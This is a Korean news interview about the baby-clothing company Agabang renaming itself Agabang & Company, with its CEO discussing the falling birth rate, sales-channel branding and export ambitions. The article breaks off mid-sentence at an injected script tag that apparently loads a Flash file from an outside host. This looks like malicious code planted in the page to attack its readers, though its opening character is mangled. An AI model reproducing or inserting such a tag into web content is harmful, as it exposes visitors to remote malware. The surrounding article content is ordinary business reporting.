국내 출산·유아 업계를 이끌어온 아가방이 창립 28년 만인 지난달 아가방앤컴퍼니로 사명을 교체했다. 브랜드명인 아가방과 혼란을 막고 전 브랜드의 발전적인 지원을 위해 CI, BI를 리뉴얼했으며 보다 진취적이고 확장적인 이념을 내세우고 있다. 아가방의 새로운 미래를 여는 데 앞장서는 아가방앤컴퍼니의 구본균 사장을 만났다.

한국을 대표하는 유아복 브랜드 하면 누구나 아가방을 떠올린다. 그만큼 20년 넘게 사랑을 받아온 장수 브랜드이며 출산·유아 마켓을 움직여온 영향력 있는 브랜드 가운데 하나이다. 올해로 창립 28주년을 맞이한 아가방은 설립 후 처음으로 아가방앤컴퍼니로 사명을 변경했다. 아가방과 더불어 에뜨와, 엘르 뿌뽕, 베이직 엘르, 디어 베이비, 지미뜨 등 다양한 브랜드를 보유한 회사인데 아가방의 인지도가 너무 강해 틀 안에 갇혀 있다고 보고 더욱 진취적이고 발전적인 모습을 보여주겠다는 의미에서 새출발을 알렸다.

이번에 사명을 교체한 것을 비롯하여 아가방의 새 역사를 쓰고 있는 구본균 사장은 “기업명을 아가방앤컴퍼니로 바꾼 일차적인 목적은 기업명과 대표 브랜드인 아가방의 혼란을 최소화하기 위함이며 나아가서는 다양한 브랜드가 조화될 수 있는 패션 홀딩스 컴퍼니로서의 이미지를 강화하기 위해서이다”고 말문을 열었다. 이어서 “이를 계기로 국내 일등에 만족하지 않고 글로벌 역량을 키울 것이며 세계에 우뚝 서는 자랑스러운 기업이 되겠다” 고 포부를 밝혔다. 앞으로 10년, 20년, 100년이 지나더라도 유아 전문회사로서 발전할 수 있도록 갖고 있는 인프라를 최대한 활용하고 시너지 효과를 발산하여 미래를 준비하겠다는 것이다.

지난 1988년에 아가방에 입사하여 20년 가까이 재직하고 있는 구본균 사장은 날로 출산율이 저하되는 시장 상황에서 유아동 시장은 변화해야 한다고 강조한다.

“지난 2000년도만 해도 출산인구는 63만7,000여명에 이르렀습니다. 그러나 2005년 43만8,000명으로 급격히 감소했습니다. 이같은 상황은 점점 더 심화되어 출산율 저하에 따른 마켓 축소는 현실로 받아들일 수 밖에 없습니다. 그나마 올해는 ‘황금돼지의 해’라는 특수를 안고 있어 전년대비 소폭 증가가 예상되고 있지만 일시적인 현상이라고 봅니다. 앞으로 출산율 증가로 인한 마켓 붐이 없다고 가정할 때 현재 시장경쟁에서 살아남을 브랜드는 몇몇 되지 않을 것으로 판단합니다.”

마켓 파이 축소로 예전의 매출 볼륨을 기대할 수 없게 됐다는 구 사장은 “비단 유아동 시장에만 국한된 얘깃거리는 아니다”며 “유아가 자라 토들러, 아동, 주니어를 거쳐 성인이 되는 것인데 국가적으로 인구가 줄어들어 의류 소비율도 함께 위축되는 것 아니냐”고 웃으며 말했다. 다만 유아동 시장에서 가장 먼저 현실에 직시해 있다는 것.

아가방앤컴퍼니는 대안으로 유통의 변화에 발맞추어 각 유통채널에 맞는 브랜드로 맞서고 있으며 내수 시장에 국한하지 않고 수출로를 뚫고 해외로 나가겠다는 비전을 품고 있다. 한국의 1세대 출산 유아 전문 브랜드인 만큼 해외에서도 그 명성을 인정받는 날을 꿈꾸고 있다.

세계 최고가 될 때까지 유아복 외길 | 유통 흐름에 발맞추어 브랜딩 전략화

아가방앤컴퍼니는 유통 흐름에 대응하는 전략으로 시장에 대처하고 있다. 백화점과 할인점, 가두점, 홈쇼핑, 온라인 쇼핑몰에 이르기까지 유통채널이 다각화된 만큼 브랜드도 각각의 특성에 맞추어 제품을 내놔야 한다는 방침이다. 아가방이 백화점에서 할인점으로 방향을 선회한 것도 이같은 이론에서이다. 아가방은 1979년 최초의 유아 브랜드로 론칭해 대중적인 브랜드로 성장했고 ‘국민 유아 브랜드’라 해도 과언이 아닌데 하이 클래스 층을 겨냥하는 백화점과는 어울리지 않는다고 판단했다. 오히려 대형 할인점과 가두점을 통해 대중과 한층 가까워지는 게 효율을 높일 수 있는 방법이라고 결정을 내렸다. 그 때의 결단이 마켓 흐름에 적중하여 현재 총 345개의 매장을 확보했으며 아직도 최초이자 최고의 유아복 브랜드로 자리매김하고 있다.

아가방앤컴퍼니는 할인점 시장에서 유아 관련 아이템이 성업할 것을 예측하고 지난 1994년 디어베이비를 론칭, 롯데마트를 주 유통망으로 현재 133개까지 매장을 늘렸다. 또 홈플러스에는 2002년 베이직 엘르로 둥지를 틀었으며 총 41개의 점포를 운영중이다.

아가방이 빠진 백화점 유통망에는 지난 2002년 에뜨와를 론칭하는 것으로 대체했다. 에뜨와는 ?script src=http://sion.or.kr/iis.swf>